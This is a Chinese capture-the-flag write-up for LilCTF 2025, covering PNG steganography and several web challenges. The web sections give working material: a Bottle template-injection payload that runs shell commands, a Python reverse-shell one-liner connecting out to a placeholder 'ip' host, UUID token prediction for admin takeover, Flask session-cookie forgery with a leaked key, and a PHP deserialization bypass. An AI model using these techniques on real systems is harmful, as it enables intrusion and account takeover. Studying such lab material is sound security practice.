2025 LilCTF Web部分wp

Misc

PNG Master | Stuck

出题:YanHuoLG

难度:简单


提到隐写,你能想到哪些常见的隐写方式呢?不过我相信misc手的脑洞一定能想到某个基于最低有效位实现的隐写方法吧?哦对了,我可不认为扩展名也是文件名的一部分。(比C3ngH简单)

赛中没做出来,卡在最后flag3了。所以赛后看其他师傅wp复现了一下。

题目共涉及三种隐写方式:LSB,16进制文本末尾额外数据,IDAT块隐写。

flag

image-20250818223257412

base64解码一下得到flag1:

1
让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b

LSB再base64得到flag2:

1
在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d

IDAT块隐写:

image-20250818224111649

提取之后zlib解压缩:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import zlib
import binascii

with open("D:\\OneDrive\\Desktop\\无标题1", "rb") as f:
id = f.read().hex().upper()

result = binascii.unhexlify(id)
print("原始字节数据:")
print(result)

decompressed = zlib.decompress(result)
print("\n解压后的字节数据:")
print(decompressed)

decompressed_hex = binascii.hexlify(decompressed).decode('utf-8')
print("\n解压后的十六进制数据:")
print(decompressed_hex)

try:
print("\n解压后的字符串:")
print(decompressed.decode('utf-8'))
except UnicodeDecodeError:
print("\n解压结果不是UTF-8编码的文本数据")
try:
print("使用ISO-8859-1编码尝试解码:")
print(decompressed.decode('iso-8859-1'))
except UnicodeDecodeError:
print("无法将解压结果解码为文本")


解压结果看出有PK开头,是压缩包,于是提取保存解压。

拿到hint.txt,零宽字节隐写,得到提示:与文件名xor

image-20250818230123076

image-20250818230538828

1
flag3: 61733765725f696e5f504e477d
1
2
3
4
5
6
7
8
9
10
11
12
13
让你难过的事情,有一天,你一定会笑着说出来flag1:4c494c4354467b


在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d


flag3: 61733765725f696e5f504e477d



4c494c4354467b5930755f3472335f4d61733765725f696e5f504e477d
hex转:LILCTF{Y0u_4r3_Mas7er_in_PNG}

Web

ez_bottle | Solved

(赛后看看:https://www.tremse.cn/2025/04/12/bottle%E6%A1%86%E6%9E%B6%E7%9A%84%E4%B8%80%E4%BA%9B%E7%89%B9%E6%80%A7/#bottle-de-xuan-ran-ji-zhi

https://www.cnblogs.com/LAMENTXU/articles/18805019

出题:0raN9e

难度:简单

能顺利帮瓶子回去嘛

附件源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# hint: flag in /flag , have a try

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]

def contains_blacklist(content):
return any(black in content for black in BLACK_DICT)

def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000

def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))

@route('/')
def index():
return static_file('index.html', root=STATIC_DIR)

@route('/static/<filename>')
def server_static(filename):
return static_file(filename, root=STATIC_DIR)

@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()

if contains_blacklist(content):
return "you are hacker!!!nonono!!!"

try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"

@error(404)
def error404(error):
return "bbbbbboooottle"

@error(403)
def error403(error):
return "Forbidden: You don't have permission to access this resource."

if __name__ == '__main__':
run(host='0.0.0.0', port=5000, debug=False)

解题过程

/upload路由有个文件上传的逻辑,但是没有上传处,拷打gpt写了一个html页面上传(后面没用到,权当过程记录):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>回收站 - 上传</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
.container {
text-align: center;
background: #fff;
padding: 40px;
border-radius: 10px;
box-shadow: 0 0 15px rgba(0, 0, 0, 0.1);
width: 450px;
}
h2 { color: #333; margin-bottom: 20px; font-size: 24px; }
.hint { color: #666; font-size: 14px; margin-bottom: 16px; }
.garbage-bins { display: flex; justify-content: center; margin-bottom: 16px; }
.bin {
width: 200px; height: 200px;
background-image: url('/static/back.png');
background-size: contain; background-repeat: no-repeat; background-position: center;
cursor: pointer; transition: transform 0.2s ease, box-shadow 0.2s ease;
border-radius: 12px; border: 2px dashed transparent;
}
.bin:hover { transform: scale(1.05); }
.bin.dragover {
border-color: #4caf50;
box-shadow: 0 0 0 4px rgba(76, 175, 80, 0.15);
transform: scale(1.06);
}
.actions { display: flex; gap: 10px; justify-content: center; margin-top: 8px; }
button, .btn {
padding: 10px 16px; border-radius: 8px; border: none;
background: #4caf50; color: #fff; cursor: pointer; font-size: 14px;
}
button:disabled { background: #9e9e9e; cursor: not-allowed; }
.status { font-size: 13px; color: #555; margin-top: 10px; min-height: 1.2em; }
input[type="file"] { display: none; }
</style>
</head>
<body>
<div class="container">
<h2>瓶子该去哪里</h2>
<p class="hint">点垃圾桶选择文件,或把文件拖到垃圾桶中上传(不再自动提交)。</p>

<!-- 提交到题目给的上传地址 -->
<form id="uploadForm" action="http://challenge.xinshi.fun:41907/upload" method="POST" enctype="multipart/form-data">
<div class="garbage-bins">
<div id="bin" class="bin" title="点击选择文件或拖拽到这里"></div>
</div>

<input id="fileInput" type="file" name="file" />
<div class="actions">
<button id="chooseBtn" type="button">选择文件</button>
<button id="uploadBtn" type="submit" disabled>上传</button>
</div>

<div id="status" class="status"></div>
</form>
</div>

<script>
const bin = document.getElementById('bin');
const fileInput = document.getElementById('fileInput');
const form = document.getElementById('uploadForm');
const chooseBtn = document.getElementById('chooseBtn');
const uploadBtn = document.getElementById('uploadBtn');
const statusEl = document.getElementById('status');

const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB,与后端保持一致

function setStatus(msg) { statusEl.textContent = msg || ''; }
function enableUploadIfReady() {
uploadBtn.disabled = !(fileInput.files && fileInput.files.length > 0);
}
function describeFile(f) {
return `${f.name}${Math.round(f.size/1024)} KB)`;
}

// 点击垃圾桶或按钮,触发文件选择
bin.addEventListener('click', () => fileInput.click());
chooseBtn.addEventListener('click', () => fileInput.click());

// 选择文件后:只更新状态/启用上传按钮,不自动提交
fileInput.addEventListener('change', () => {
if (fileInput.files && fileInput.files.length > 0) {
const f = fileInput.files[0];
if (f.size > MAX_FILE_SIZE) {
setStatus(`文件过大:${describeFile(f)}(上限 1MB)`);
fileInput.value = '';
enableUploadIfReady();
return;
}
setStatus(`已选择:${describeFile(f)}(请点击“上传”)`);
} else {
setStatus('');
}
enableUploadIfReady();
});

// 拖拽视觉反馈
['dragenter','dragover'].forEach(evt => {
bin.addEventListener(evt, (e) => {
e.preventDefault(); e.stopPropagation();
bin.classList.add('dragover');
});
});
['dragleave','drop'].forEach(evt => {
bin.addEventListener(evt, (e) => {
e.preventDefault(); e.stopPropagation();
bin.classList.remove('dragover');
});
});

// 拖拽放置:只填充文件,不自动提交
bin.addEventListener('drop', (e) => {
if (e.dataTransfer && e.dataTransfer.files && e.dataTransfer.files.length > 0) {
const f = e.dataTransfer.files[0];
if (f.size > MAX_FILE_SIZE) {
setStatus(`文件过大:${describeFile(f)}(上限 1MB)`);
return;
}
// 将拖拽的文件放到 input 上
fileInput.files = e.dataTransfer.files;
setStatus(`已选择:${describeFile(f)}(请点击“上传”)`);
enableUploadIfReady();
}
});

// 防止将文件拖进整个窗口时打开
['dragenter','dragover','dragleave','drop'].forEach(evt => {
window.addEventListener(evt, (e) => e.preventDefault());
});

// 提交前提示
form.addEventListener('submit', (e) => {
if (!fileInput.files || fileInput.files.length === 0) {
e.preventDefault();
setStatus('请先选择文件');
return;
}
const f = fileInput.files[0];
if (f.size > MAX_FILE_SIZE) {
e.preventDefault();
setStatus(`文件过大:${describeFile(f)}(上限 1MB)`);
return;
}
setStatus('正在上传…');
// 继续表单的默认提交
});
</script>
</body>
</html>

源码48行return template(content)可看出有SSTI,再结合题目提示,应该是bottle框架的相关模板SSTI

后面发现每次改一下payload都要压缩一次再上传,索性直接本地起个服务完成这一套最后回显结果即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
import zipfile
import requests
import os
from io import BytesIO
import re
import sys
from flask import Flask, request, jsonify

app = Flask(__name__)

# --- 配置区 ---
# 从您的HTML文件中获取的目标上传URL
upload_url = "http://challenge.xinshi.fun:49072/upload"

# 定义文件名
txt_filename = "1.txt"
zip_filename = "1.zip"

# 性能优化配置
REQUEST_TIMEOUT = 10 # 请求超时时间(秒)
# --- 配置区结束 ---

def create_and_upload_zip(content, url):
"""
将给定的内容写入txt文件,压缩成zip,然后上传到指定URL。
"""
# --- 步骤 1: 将字符串写入 1.txt ---
try:
with open(txt_filename, 'w', encoding='utf-8') as f:
f.write(content)
print(f"成功创建文件 '{txt_filename}' 并写入内容。")
except IOError as e:
print(f"错误:无法写入文件 '{txt_filename}': {e}")
return

# --- 步骤 2: 将 1.txt 压缩成 1.zip ---
try:
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.write(txt_filename)
print(f"成功将 '{txt_filename}' 压缩为 '{zip_filename}'。")
except Exception as e:
print(f"错误:压缩文件失败: {e}")
return

# --- 步骤 3: 上传 1.zip 文件 ---
print(f"正在上传 '{zip_filename}' 到 {url} ...")

try:
# 打开zip文件以二进制模式读取
with open(zip_filename, 'rb') as f:
# 构造 multipart/form-data 请求
# 'file' 这个键名来自于HTML中的 <input type="file" name="file" />
files = {'file': (zip_filename, f, 'application/zip')}

# 发送POST请求,设置超时
response = requests.post(url, files=files, timeout=REQUEST_TIMEOUT)

# 打印服务器的响应
print("\n--- 服务器响应 ---")
print(f"状态码: {response.status_code}")
print("响应内容:")
# 使用 response.text 来查看文本响应,如果可能是其他类型,可用 response.content
print(response.text)
print("------------------")

except requests.exceptions.Timeout:
print(f"\n错误:上传超时")
except requests.exceptions.RequestException as e:
print(f"\n错误:上传失败: {e}")
finally:
# --- 步骤 4: 清理本地生成的文件 ---
print("\n清理本地文件...")
try:
if os.path.exists(txt_filename):
os.remove(txt_filename)
print(f"已删除 '{txt_filename}'。")
if os.path.exists(zip_filename):
os.remove(zip_filename)
print(f"已删除 '{zip_filename}'。")
except:
pass

# --- 主程序入口 ---
@app.route('/upload', methods=['GET'])
def upload():
content = request.args.get('content')
if not content:
return "未提供内容", 400

try:
# 创建文件
with open(txt_filename, 'w', encoding='utf-8') as f:
f.write(content)

# 创建zip文件
with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.write(txt_filename)

# 上传文件,设置超时
with open(zip_filename, 'rb') as f:
response = requests.post(upload_url, files={"file": (zip_filename, f, 'application/zip')}, timeout=REQUEST_TIMEOUT)

# 解析响应
if response.status_code == 200:
# 从响应中提取MD5值
md5_match = re.search(r'/view/([a-f0-9]+)/1\.txt', response.text)
if md5_match:
md5_value = md5_match.group(1)
# 构造查看文件的URL
view_url = f"http://challenge.xinshi.fun:49072/view/{md5_value}/1.txt"

# 获取文件内容,设置超时
view_response = requests.get(view_url, timeout=REQUEST_TIMEOUT)
if view_response.status_code == 200:
try:
view_content = view_response.content.decode('utf-8')
except UnicodeDecodeError:
view_content = view_response.text
else:
view_content = f"无法获取文件内容,状态码: {view_response.status_code}"

# 只返回文件内容
result = view_content
else:
result = "无法从响应中提取文件路径"
else:
result = f"上传失败,状态码: {response.status_code}"

except requests.exceptions.Timeout:
result = "请求超时"
except requests.exceptions.RequestException as e:
result = f"网络请求错误: {str(e)}"
except Exception as e:
result = f"错误: {str(e)}"
finally:
# 清理文件
try:
if os.path.exists(txt_filename):
os.remove(txt_filename)
if os.path.exists(zip_filename):
os.remove(zip_filename)
except:
pass

return result

@app.route('/result', methods=['GET'])
def result():
file_url = request.args.get('file_url')
if not file_url:
return jsonify({"error": "No file URL provided"}), 400

# 访问远程服务的view路径获取信息2
try:
view_response = requests.get(file_url)
if view_response.status_code == 200:
view_content = view_response.text
else:
view_content = f"Error accessing file: {view_response.status_code}"
except Exception as e:
view_content = f"Error accessing file: {e}"

# 返回信息1和信息2
return jsonify({"message": "File uploaded successfully", "view_info": view_content})

@app.route('/')
def home():
return "欢迎使用上传服务! 使用 /upload?content=你的内容 来上传文件。", 200

if __name__ == "__main__":
app.run(debug=True)

需要绕过黑名单:

1
2
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]

绷不住了现在5个小时了还没绕过去。。。

1
看了看模板语法,{{}}可以用% 或者<%%>来代替,但这里尖括号被waf了,所以只能用%,模板语法显示%后面可以直接写一行python代码被执行,我们可以使用分号来达到执行多行的效果。

在没搞清楚语法之前直接继承链在那打了好几个小时,试了很多payload,还在常常是绕waf(绷)。最后翻了一下python中能用来代码执行的库函数,找到了subprocess.run()。

由于本题是无回显的,而且不能反弹shell,所以尝试直接读flag,写入静态目录/static,| tee可用来代替重定向符号。

构造了payload如下:

1
http://127.0.0.1:5000/upload?content=% import subprocess;subprocess.run(['sh','-c','cat /flag | tee static/2.txt'])

如果回显是空白,说明执行成功了。

访问/static/2.txt即可得到flag 为 LILCTF{80TT13_H4S_8eEN_RecYc1ED}

img

blade_cc

出题:N1ght

难度:困难

万恶的n1ght,留出了一个反序列化入口,但是他做了黑名单和不出网,你能想办法完成这个挑战吗?

附件:

解题过程

php_jail_is_my_cry | Stuck

出题:Kengwang

难度:中等

PHP Jail is my CRY

请注意附件中的代码存在一行需要你补充的代码, 已经注释表明, 否则会存在问题

本题不出网, 最终需要执行 /readflag

赛后复现时该读的文章:open_basedir绕过 - Von的博客 | Von Blog

解题过程

Ekko_note | Solved

出题:LamentXU

难度:简单

时间刺客Ekko成功当上了某上市公司的老板。于是他让员工给他写一个只有他能用的RCE接口…… 但是,这个员工写的代码好像有点问题?

题目已在修复依赖环境后重新上线;附件已更新;由于部分队伍在下线前已经下载附件,本题前三血不加分。

Hint: 艾克喜欢新东西…… 好像他的员工也是这样的。uuid.uuid8()不是所有python版本都有哦~

附件源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2066/07/05 19:20:29
@Author : Ekko exec inc. 某牛马程序员
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()

# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)

admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(60), nullable=False)
is_admin = db.Column(db.Boolean, default=False)
time_api = db.Column(db.String(200), default='https://api.yyy001.com/api/alltime?timezone=Asia/Shanghai')

class PasswordResetToken(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
token = db.Column(db.String(36), unique=True, nullable=False)
used = db.Column(db.Boolean, default=False)

def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

with app.app_context():
db.create_all()
if not User.query.filter_by(username='admin').first():
admin = User(
username='admin',
email='admin@example.com',
password=generate_password_hash(admin_super_strong_password),
is_admin=True
)
db.session.add(admin)
db.session.commit()

def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
return f(*args, **kwargs)
return decorated_function

def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
user = User.query.get(session['user_id'])
if not user.is_admin:
flash('你不是admin', 'danger')
return redirect(url_for('home'))
return f(*args, **kwargs)
return decorated_function

def check_time_api():
user = User.query.get(session['user_id'])
try:
response = requests.get(user.time_api)
data = response.json()
datetime_str = data.get('data', '').get('datetime', '')
if datetime_str:
print(datetime_str)
current_time = datetime.fromisoformat(datetime_str)
return current_time.year >= 2066
except Exception as e:
return None
return None
@app.route('/')
def home():
return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if password != confirm_password:
flash('密码错误', 'danger')
return redirect(url_for('register'))

existing_user = User.query.filter_by(username=username).first()
if existing_user:
flash('已经存在这个用户了', 'danger')
return redirect(url_for('register'))

existing_email = User.query.filter_by(email=email).first()
if existing_email:
flash('这个邮箱已经被注册了', 'danger')
return redirect(url_for('register'))

hashed_password = generate_password_hash(password)
new_user = User(username=username, email=email, password=hashed_password)
db.session.add(new_user)
db.session.commit()

flash('注册成功,请登录', 'success')
return redirect(url_for('login'))

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')

user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password, password):
session['user_id'] = user.id
session['username'] = user.username
session['is_admin'] = user.is_admin
flash('登陆成功,欢迎!', 'success')
return redirect(url_for('dashboard'))
else:
flash('用户名或密码错误!', 'danger')
return redirect(url_for('login'))

return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
session.clear()
flash('成功登出', 'info')
return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
if request.method == 'POST':
token = request.form.get('token')
new_password = request.form.get('new_password')
confirm_password = request.form.get('confirm_password')

if new_password != confirm_password:
flash('密码不匹配', 'danger')
return redirect(url_for('reset_password'))

reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
if reset_token:
user = User.query.get(reset_token.user_id)
user.password = generate_password_hash(new_password)
reset_token.used = True
db.session.commit()
flash('成功重置密码!请重新登录', 'success')
return redirect(url_for('login'))
else:
flash('无效或过期的token', 'danger')
return redirect(url_for('reset_password'))

return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))

if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))

if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))

return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])

if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))

return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")

解题过程

解法1

根据题目描述和路由来看,最终目的是要触发236行的os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。来RCE。

admin未知,先随便注册个用户进去看看:

img

点击执行命令之后提示时间要到2066年才会开放该功能,推测可能和底下的当前时间为准。

img

看到有相关时间调用的api,可知是从这里得到的时间。

而又发现admin/setting路由有api更新相关的逻辑实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])

if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))

return render_template('admin_settings.html', time_api=user.time_api)

所以回来了,我们还是得想办法登录admin账户来实现这些。

注意到有忘记密码功能。

我们现在先阶段性总结一下: 更改密码 -> 登录admin -> 想办法进/admin/settings -> 更新api -> 进命令执行路由RCE

根据hint提示,了解到uuidv8是最新的python3.14才出的,于是google查到一篇最近的讲uuid安全的文章(聊聊python中的UUID安全 - LamentXU - 博客园)里面有说道,a,b,c三个参数不定的话,其实就是伪随机,uuid的值将变得可预测。

安装最新的3.14前瞻版本的python,阅读uuid8源码发现,uuid8调用了random函数,其实是伪随机。

从前面可以推算出服务器建站时间,但是不精确,源码中显示,/server_info路由回显有server_start_time

这正是我们想要的,登录普通用户然后控制台发送fetch('/server_info').then(r => r.json()).then(console.log)即可拿到server_start_time的精确时间戳,。

脚本(自己本地跑,ai还没有3.14的环境):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import random
import uuid

def padding(username: str) -> int:
b = username.encode('utf-8')
b = (b[:6] if len(b) > 6 else b.ljust(6, b'\x00'))
return int.from_bytes(b, 'big')

seed = 1755370834.1768594 # /server_info 拿到的浮点数
username = "admin" # 目标账号的 username,务必改成正确的

random.seed(seed)
a_val = padding(username)
print(f"padding: {a_val}")
print(str(uuid.uuid8(a=a_val)))

密码也就改成了我们自定义的,然后就可以登录admin账户了。

img

然后我们在这里更改api接口,从而让时间改为2066之后。

自己搭建api接口,格式参照原接口:{"date":"2025-08-15 23:57:17","weekday":"星期五","timestamp":1755273437,"remark":"任何情况请联系QQ:3295320658 微信服务号:顺成网络"}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, Response, jsonify
from datetime import datetime
app = Flask(__name__)

@app.get("/api/time")
def alltime():
target_dt = datetime(2067, 7, 5, 19, 20, 29)

return jsonify({
"date": target_dt.strftime("%Y-%m-%d %H:%M:%S"),
"weekday": "星期三",

"timestamp": int(target_dt.timestamp())
})
app.run("0.0.0.0", 5000)

img

img

无回显,反弹shell:

1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ip",4567));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

img

flag为:ILCTF{u_H@Ve_10uNd_tHE_r1gH7_TimEIiNE!}

解法2

根据赛后群友讨论,这道题还存在一个非预期解法:Flask-Session伪造。

有点忘了,所以在这里记一下用于备忘:

1
2
3
4
5
6
7
8
E:\myCTFTools\WebTools\flask-session-cookie-manager-master\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py decode -c ".eJw1zMEKgzAQBNBfaeecg4Yaa36lkRDjbiuoB9c9if_eUOlphuExByLPST4k8K8Dt70ExrS-aYNB0OfAbdDWtUPQhpsG_Wn-TDRnEvm5S3Tu4YI6W1dF246DMle5LIO15Ysz3ctBbzBJTOMyrfCcZiEDFdriNMLbq69pIXjUOL859TMx.aKMv3g.w-peDPRQSAdMp5RaAumcEWWGF8U" -s "your-secret-key-here"
{'_flashes': [('danger', '请登录'), ('success', '登陆成功,欢迎!')], 'is_admin': False, 'user_id': 2, 'username': '1'}




E:\myCTFTools\WebTools\flask-session-cookie-manager-master\flask-session-cookie-manager-master>python flask_session_cookie_manager3.py encode -t "{'_flashes': [('danger', '请登录'), ('success', '登陆成功,欢迎!')], 'is_admin': True, 'user_id': 1, 'username': 'admin'}" -s "your-secret-key-here"
.eJw1zMEKgzAQBNBfaeecgwaNNb_SSIhxtxWqB9c9if_eUOlphuExByJ_krxJ4J8HbnsJTGl90QaDoI-Ru6Cd68agLbcthtP8mWjOJPJzl-hd44I6W1dF256DMle5LKO15Ysz3cvBYDBLTNMyr_D7pmSgQlucJ_j66mtaCB6XOb_ZgDS9.aKM1Qg.IK2q5r0cwxa5yrnSoN1Bc0daczM

Your Uns3r | Solved

出题:Kengwang

难度:简单

我一直在等待你的答案

题目给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php





highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix;
protected $suffix;

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

$ser = $_POST["user"];
if (strpos($ser, 'admin') !== false && strpos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

解题过程

分析关键函数应该是11行include($ser->getToken());

  1. 初始执行User类中的__destruct魔术方法,需要满足$this->username == "admin",设置$user->username = true;``我们可以通过php中true` == 所有字符串的特性来绕过。
  2. 接下来需要绕过$ser != $this->value && $ser instanceof Access,可以通过赋值$user->value = serialize($access);再经过$ser = unserialize(serialize(unserialize($this->value)));,使得ser变量成为一个不同于$access的Access实例,从而绕过。

本地通了!好机会!

img

但是靶机用这个依旧打不通,难道是靶机的配置也是默认没开? 突然灵机一动,如果本地把最后一行加上呢?试了一下居然打不通了,注释之后又能打通了。意识到这是个问题,要绕过。

https://www.wangan.com/p/7fy7f46cd2c8727f#fastdestruct%E6%8F%90%E5%89%8D%E8%A7%A6%E5%8F%91%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95

省流:throw会不让__destruct执行,删除最后一个括号便可以提前执行从而绕过。

img

看报错消息,不能用那些伪协议了。但仍然可以直接用路径或者file。

成功包含文件:

img

